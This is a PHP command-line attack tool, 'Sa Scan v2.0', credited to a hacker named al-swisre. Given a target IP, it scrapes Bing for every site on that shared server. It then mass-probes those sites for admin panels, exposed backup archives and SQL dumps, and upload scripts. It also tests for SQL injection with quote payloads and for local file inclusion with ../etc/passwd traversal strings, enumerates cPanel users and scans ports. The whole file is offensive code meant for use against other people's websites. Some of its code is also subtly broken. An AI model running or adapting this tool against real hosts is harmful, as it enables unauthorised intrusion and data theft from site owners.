<?php
@set_time_limit(0);
@error_reporting(E_ALL | E_NOTICE);
if(!$argv[1] or !$argv[2]){
print_r("
#--------------------------------------------------\
# Use : php sa.php target option |
# Ex : php sa.php 127.0.0.1 9 |
#--------------------------------------------------/
## Select an option ##
1 - Get Site server
2 - Find control panel
3 - Find Zip files
4 - Find uploaded files
5 - Find File
6 - Find list File
7 - Script sites
8 - Get users server
9 - Get Links in sites
10 - Scan SQL
11 - Scan SQL 2
12 - Scan LFI
13 - Scan ports
14 - Scan ports2
15 - Info network
\n");
exit();
}
##############################
////// START TOOL //////
#############################
print_r("
.--.--. .--.--.
/ / '. / / '.
| : /`. / | : /`. / ,---,
; | |--` ; | |--` ,-+-. / |
| : ;_ ,--.--. | : ;_ ,---. ,--.--. ,--.'|' |
\ \ `. / \ \ \ `. / \ / \ | | ,\"' |
`----. \.--. .-. | `----. \ / / ' .--. .-. | | | / | |
__ \ \ | \__\/: . . __ \ \ |. ' / \__\/: . . | | | | |
/ /`--' / ,\" .--.; | / /`--' /' ; :__ ,\" .--.; | | | | |/
'--'. / / / ,. | '--'. / ' | '.'| / / ,. | | | |--'
`--'---' ; : .' \ `--'---' | : :; : .' \| |/
| , .-./ \ \ / | , .-./'---' v2.0
`--`---' `----' `--`---'
\n
# Programmer : al-swisre
# twitter : al_swisre
# Greets To : Group XP - Group Hp-Hack - Hackers Home
\n\n
Scanning [$argv[1]] .. \n ");
$t = $argv[1]; // target Server
$o = $argv[2]; // option
$d = date("Y-m-d"); // date
$time = date("h-i-s"); // time
$f = fopen("result_$time.html",'w');
fwrite($f,"
<!-- Programmed by al-swisre -->
<title>Sa Scan v2.0 by al-swisre</title>
<h5># Result Scan #</h5>
<h5># Target :<font color='red'> $t </font> #</h5>
<h5># Date : <font color='red'> $d </font> #</h5>
<h5># Time : <font color='red'> $time </font> #</h5>
<hr />");
switch ($o)
{
/////////////////////////////////////////////////////
case 1:
$a = sws_site($t);
if($a)
{
print_r("END");
}
break;
//////////////////////////////////////////////////////////
case 2:
$a = sws_admin_site($t);
if($a)
{
print_r("END");
}
break;
//////////////////////////////////////////////////////////
case 3:
$a = sws_zip_site($t);
if($a)
{
print("END");
}
break;
//////////////////////////////////////////////////////////
case 4:
$a = sws_up_site($t);
if($a)
{
print("END");
}
break;
//////////////////////////////////////////////////////////
case 5:
if(!isset($argv[3]))
{
print("
#--------------------------------------------------\
# Use : add file to find it |
# Ex : php sa.php 127.0.0.1 5 file.php |
#--------------------------------------------------/
\n");
exit();
}
$a = sws_file($t,$argv[3]);
if($a)
{
print("END");
}
break;
//////////////////////////////////////////////////////////
case 6:
if(!isset($argv[3]))
{
print("
#--------------------------------------------------\
# Use : add list.txt to find it |
# Ex : php sa.php 127.0.0.1 5 list.txt |
#--------------------------------------------------/
\n");
exit();
}
$a = sws_file_list($t,$argv[3]);
if($a)
{
print("END");
}
break;
//////////////////////////////////////////////////////////
case 7:
$a = sws_script_site($t);
if($a)
{
print("END");
}
break;
//////////////////////////////////////////////////////////
case 8:
$a = sws_user($t);
if($a)
{
print("END");
}
break;
//////////////////////////////////////////////////////////
case 9:
$a = sws_link($t);
if($a)
{
print("END");
}
break;
//////////////////////////////////////////////////////////
case 10:
$a = sws_sql($t);
if($a)
{
print("END");
}
break;
///////////////////////////////////////////////////////////
case 11:
$a = sws_sql2($t);
if($a)
{
print("END");
}
break;
//////////////////////////////////////////////////////////
case 12:
$a = sws_lfi($t);
if($a)
{
print("END");
}
break;
///////////////////////////////////////////////////////////
case 13:
$a = sws_port_scan($t);
if($a)
{
print("END");
}
break;
////////////////////////////////////////////////////////////
case 14:
if(!isset($argv[3]) or !isset($argv[4]))
{
print("
#--------------------------------------------------\
# Use : php sa.php target start end |
# Ex : php sa.php 127.0.0.1 9 20 2000 |
#--------------------------------------------------/
\n");
exit();
}
$a = sws_port_scan2($t,$argv[3],$argv[4]);
if($a)
{
print("END");
}
break;
/////////////////////////////////////////////////////////
case 15:
$a = sws_network($t);
if($a)
{
print("END");
}
break;
////////////////////////////////////////////////////////
default :
print("
#--------------------------------------------------\
# Use : php sa.php target option |
# Ex : php sa.php 127.0.0.1 9 |
#--------------------------------------------------/
\n");
exit();
break;
}
##########################
///// Function /////
#########################
//// SITES ////
function site_array($ip)
{
$endpages = 50000;
$spages = 1;
$allsite = array();
while($spages <= $endpages)
{
$bing = @file_get_contents('http://www.bing.com/search?q=ip%3A' . $ip . '&first=' . $spages);
if ($bing)
{
preg_match_all('(<div class="sb_tlst">.*<h3>.*<a href="(.*)".*>(.*)</a>.*</h3>.*</div>)siU', $bing, $findlink);
foreach ($findlink[1] as $fl)
$allsite[]= clean_url($fl);
$spages = $spages + 10;
if (preg_match('(first=' . $spages . '&)siU', $bing, $linksuiv) == 0)
break;
}
else
break;
}
$allDmns = array();
foreach ($allsite as $kk => $vv){
$allDmns[] = "http://".$vv."/";
}
$ignore_values = array();
$allDmns = make_unique($allDmns,$ignore_values);
return $allDmns;
}
//// ADMIN [2] ////
function sws_admin_site($ip)
{
global $f;
$list = array(
'/admin/',
'/site/admin',
'/admin.php/',
'/up/admin/',
'/central/admin/',
'/whm/admin/',
'/whmcs/admin/',
'/support/admin/',
'/upload/admin/',
'/video/admin/',
'/shop/admin/',
'/shoping/admin/',
'/wp-admin/',
'/wp/wp-admin/',
'/blog/wp-admin/',
'/admincp/',
'/admincp.php/',
'/vb/admincp/',
'/forum/admincp/',
'/up/admincp/',
'/administrator/',
'/administrator.php/',
'/joomla/administrator/',
'/jm/administrator/',
'/site/administrator/',
'/install/',
'/vb/install/',
'/dimcp/',
'/clientes/',
'/admin_cp/',
'/login/',
'/login.php',
'/site/login',
'/site/login.php',
'/up/login/',
'/up/login.php',
'/cp.php',
'/up/cp',
'/cp',
'/master',
'/adm',
'/member',
'/control',
'/webmaster',
'/myadmin',
'/admin_cp',
'/admin_site',
);
$sites = site_array($ip);
$num = count($sites);
fwrite($f,"<h4>Admin Panel site [ $num ]</h4> <br /><pre>");
foreach ($sites as $site)
{
foreach ($list as $l)
{
$get = @get_headers($site.$l);
if (!preg_match("/404 Not Found/", $get[0]))
{
fwrite($f,"Found : $site$l<br />");
}
}
}
}
//// ZIP [3] ////
function sws_zip_site($ip)
{
global $f;
$list = array(
'/backup.tar.gz',
'/backup/backup.tar.gz',
'/backup/backup.zip',
'/vb/backup.zip',
'/site/backup.zip',
'/backup.zip',
'/backup.rar',
'/backup.sql',
'/vb/vb.zip',
'/vb.zip',
'/vb.sql',
'/vb.rar',
'/vb1.zip',
'/vb2.zip',
'/vbb.zip',
'/vb3.zip',
'/upload.zip',
'/up/upload.zip',
'/joomla.zip',
'/joomla.rar',
'/joomla.sql',
'/wordpress.zip',
'/wp/wordpress.zip',
'/blog/wordpress.zip',
'/wordpress.rar',
);
$sites = site_array($ip);
$num = count($sites);
fwrite($f,"<h4>Zip File site [ $num ]</h4><pre>");
foreach ($sites as $site)
{
foreach ($list as $l)
{
$get = @get_headers($site.$l);
if (!preg_match("/404 Not Found/", $get[0]))
{
fwrite($f,"Found : $site$l<br />");
}
}
}
}
//// UP [4] ////
function sws_up_site($ip)
{
global $f;
$list = array(
'/up.php',
'/up1.php',
'/up/up.php',
'/site/up.php',
'/vb/up.php',
'/forum/up.php',
'/blog/up.php',
'/upload.php',
'/upload1.php',
'/upload2.php',
'/vb/upload.php',
'/forum/upload.php',
'/blog/upload.php',
'/site/upload.php',
'/download.php',
);
$sites = site_array($ip);
$num = count($sites);
fwrite($f,"<h4>Upload File site [ $num ]</h4> <pre>");
foreach ($sites as $site)
{
foreach ($list as $l)
{
$get = @get_headers($site.$l);
if (!preg_match("/404 Not Found/", $get[0]))
{
fwrite($f,"Found : $site$l<br />");
}
}
}
}
//// script [5] ////
function sws_script_site($ip)
{
global $f;
$list = array(
'/vb/',
'/wp/',
'/blog/',
'/joomla/',
'/whmcs/',
'/shop/',
'/up/',
'/support/',
'/forum/',
'/upload/',
'/video/',
'',
);
$sites = site_array($ip);
$num = count($sites);
fwrite($f,"<h4>Script Site [ $num ]</h4><pre>");
foreach ($sites as $site)
{
foreach ($list as $l)
{
$get = @get_headers($site.$l);
if (!preg_match("/404 Not Found/", $get[0]))
{
$ex = get($site.$l);
if(eregi('smf',$ex)){
fwrite($f,"smf : $url<br />");
}
elseif (eregi('vbulletin',$ex)){
fwrite($f,"vbulletin : $site$l<br />");
}
elseif(eregi('phpbb',$ex)){
fwrite($f,"phpbb : $site$l<br />");
}
elseif(eregi('wordpress',$ex)){
fwrite($f,"wordpress : $site$l<br />");
}
elseif(eregi('joomla',$ex)){
fwrite($f,"joomla : $site$l<br />");
}
elseif(eregi('submitticket.php',$ex)){
fwrite($f,"whmcs : $site$l<br />");
}else{
fwrite($f,"Other : $site$l<br />");
}
}
}
}
}
//// USERS [6] ////
function sws_user($ip)
{
global $f;
$sites = site_array($ip);
$num = count($sites);
fwrite($f,"<h4>Users Server site [ $num ]</h4> <pre>");
foreach ($sites as $site)
{
chek_user($site);
}
}
function sws_site($ip)
{
global $f;
$getip = @file_get_contents("http://networktools.nl/reverseip/$ip");
$get = @findit($getip,'<pre>','</pre>');
fwrite($f,"<h4>Site Server</h4><pre> $get </pre>");
exit();
}
/////////////////////////////////
function sws_link($ip)
{
global $f;
fwrite($f,"<h4>Get Link site [ $num ]</h4>");
$sites = site_array($ip);
$num = count($sites);
foreach ($sites as $site)
{
fwrite($f,"</pre><h5>site: <font color='red'>$site</font></h5><pre style='font-size: 11px;'>");
$g = sws_get_link($site);
foreach ($g as $key=>$value)
{
if (preg_match("/=/i", $key))
{
fwrite($f,"$key<br />");
}
$r = sws_get_link($site.$key);
foreach ($r as $key=>$value)
{
if (preg_match("/=/i", $key))
{
fwrite($f,"$key<br />");
}
}
}
}
}
function sws_sql($ip)
{
global $f;
$sites = site_array($ip);
$num = count($sites);
fwrite($f,"<h4>Scan SQL injecton in [ $num ] site</h4><pre>");
foreach ($sites as $site)
{
$g = sws_get_link($site);
foreach ($g as $key=>$value)
{
if (preg_match("/=/i", $key))
{
if(!preg_match("/http/", $key))
{
$key = $site.'/'.$key;
}
$sql = "'";
$g = get($key.$sql);
if(eregi('SQL|Oracle|syntax|mysql|SELECT|function',$g))
{
fwrite($f,"Found SQL injecton : $key$sql <br />");
}
}
}
}
}
function sws_lfi($ip)
{
global $f;
$sites = site_array($ip);
$num = count($sites);
$lfi = array(
"/etc/passwd",
"../etc/passwd",
"../../etc/passwd",
"../../../etc/passwd",
"../../../../etc/passwd",
"../../../../../etc/passwd",
"../../../../../../etc/passwd",
"../../../../../../../etc/passwd",
"../../../../../../../../etc/passwd",
"../../../../../../../../../etc/passwd",
"../../../../../../../../../../etc/passwd",
"../../../../../../../../../../../etc/passwd",
"../../../../../../../../../../../../etc/passwd",
"../../../../../../../../../../../../../etc/passwd",
"../../../../../../../../../../../../../../etc/passwd",
"../../../../../../../../../../../../../../../etc/passwd",
);
fwrite($f,"<h4>Scan LFI in [ $num ] site</h4><pre>");
foreach ($sites as $site)
{
$g = sws_get_link($site);
foreach ($g as $key=>$value)
{
if (preg_match("/=/i", $key))
{
if(!preg_match("/http/", $key))
{
$key = $site.'/'.$key;
}
$equals = strrpos($key,"=");
$siteedit = substr_replace($key, '', $equals+1);
foreach ($lfi as $xx){
$g = get($siteedit.$xx);
if(eregi('/root|/home|/public_html',$g))
{
fwrite($f,"Found LFI : $siteedit$xx <br />");
}
else{
fwrite($f,"NOT Found LFI : $siteedit$xx <br />");
}
}
}
}
}
}
function sws_sql2($ip)
{
global $f;
$sites = site_array($ip);
$num = count($sites);
fwrite($f,"<h4>Scan SQL injecton in [ $num ] site</h4><pre>");
foreach ($sites as $site)
{
$g = sws_get_link($site);
foreach ($g as $key=>$value)
{
if (preg_match("/=/i", $key))
{
if(!preg_match("/http/", $key))
{
$key = $site.'/'.$key;
}
$g = sws_get_link($key);
foreach ($g as $key=>$value)
{
if (preg_match("/=/i", $key))
{
////////////////////////////////////////////////////////////////////////////////////////////////////
$sql = "'";
$g = get($key.$sql);
if(eregi('SQL|Oracle|syntax|mysql|SELECT|function',$g))
{
fwrite($f,"Found SQL injecton : $key <br />");
}
///////////////////////////////////////////////////////////////////////////////////////////////////////
}
}
}
}
}
}
function sws_file($ip,$file)
{
global $f;
$list = array(
'',
'/vb/',
'/site/',
'/wp/',
'/blog/',
'/joomla/',
'/forum/',
'/up/',
);
$sites = site_array($ip);
$num = count($sites);
fwrite($f,"<h4>Find $file in [ $num ] site</h4> <br /><pre>");
foreach ($sites as $site)
{
foreach ($list as $l)
{
$get = @get_headers($site.$l.$file);
if (preg_match("/200 OK/", $get[0]))
{
fwrite($f,"Found : $site$l$file<br />");
}
}
}
}
function sws_file_list($ip,$file)
{
global $f;
$list = file($file);
$sites = site_array($ip);
$num = count($sites);
fwrite($f,"<h4>Find list in [ $num ] site</h4> <br /><pre>");
foreach ($sites as $site)
{
foreach ($list as $l)
{
$get = @get_headers($site.$l);
if (preg_match("/200 OK/", $get[0]))
{
fwrite($f,"Found : $site$l<br />");
}
}
}
}
function sws_network($ip)
{
global $f;
$getip = @file_get_contents("http://networktools.nl/asinfo/$ip");
$get = @findit($getip,'<pre>','</pre>');
fwrite($f,"<h4>Network Server</h4><pre> $get");
exit();
}
function sws_port_scan($ip)
{
global $f;
fwrite($f,"<h4>Open Port Server</h4><pre> ");
$list_post = array('80','21','22','2082','25','53','110','443','143');
foreach ($list_post as $o_port)
{
$connect = @fsockopen($ip,$o_port,$errno,$errstr,2);
if($connect)
{
fwrite($f,"$ip:$o_port <br /> ");
}
}
}
function sws_port_scan2($ip,$start,$end)
{
global $f;
fwrite($f,"<h4>Port Server $start - $end </h4><pre> ");
for($i=$start;$i<$end;$i++){
$connect = @fsockopen($ip,$i,$errno,$errstr,2);
if($connect)
{
fwrite($f," $ip : $i <br />");
}
}
}
function chek_user($site){
global $f;
$t= cc($site);
$s =strlen($t);
for($i=0;$i<=$s;$i++){ $userz[]=substr($t,0,$i); }
foreach($userz as $v=>$user){
$z= get($site."cgi-sys/entropysearch.cgi?user=$user");
if(eregi("/home/$user",$z)){
fwrite($f,"$user <br />");
}
}
}
function cc($uu){
$x=array("www.",".","-","http://");
foreach($x as $xx){ $uu = str_replace($xx,"",$uu); }
return $uu;
}
function clean_url($x){
$z=parse_url($x);
$x=$z['host']."";
return $x;
}
function sws_sql_chek($url)
{
}
function sws_get_link($site) {
$site1 = $site;
$ret = array();
$dom = new domDocument;
$ex = get($site);
@$dom->loadHTML($ex);
$dom->preserveWhiteSpace = false;
$links = $dom->getElementsByTagName('a');
foreach ($links as $tag)
{
$ret[$tag->getAttribute('href')] = $tag->childNodes->item(0)->nodeValue;
}
return $ret;
}
function get($site)
{
$curl = curl_init();
curl_setopt($curl,CURLOPT_RETURNTRANSFER,1);
curl_setopt($curl,CURLOPT_CONNECTTIMEOUT,5);
curl_setopt($curl,CURLOPT_URL,$site);
$calis = curl_exec($curl);
@curl_close($calis);
return $calis;
}
function findit($mytext,$starttag,$endtag) {
$posLeft = @stripos($mytext,$starttag)+strlen($starttag);
$posRight = @stripos($mytext,$endtag,$posLeft+1);
return @substr($mytext,$posLeft,$posRight-$posLeft);
flush();
}
// CLEAR ARRAY
function make_unique($array, $ignore)
{
while($values = each($array))
{
if(!in_array($values[1], $ignore))
{
$dupes = array_keys($array, $values[1]);
unset($dupes[0]);
foreach($dupes as $rmv)
{
unset($array[$rmv]);
}
}
}
return array_values($array);
}
?>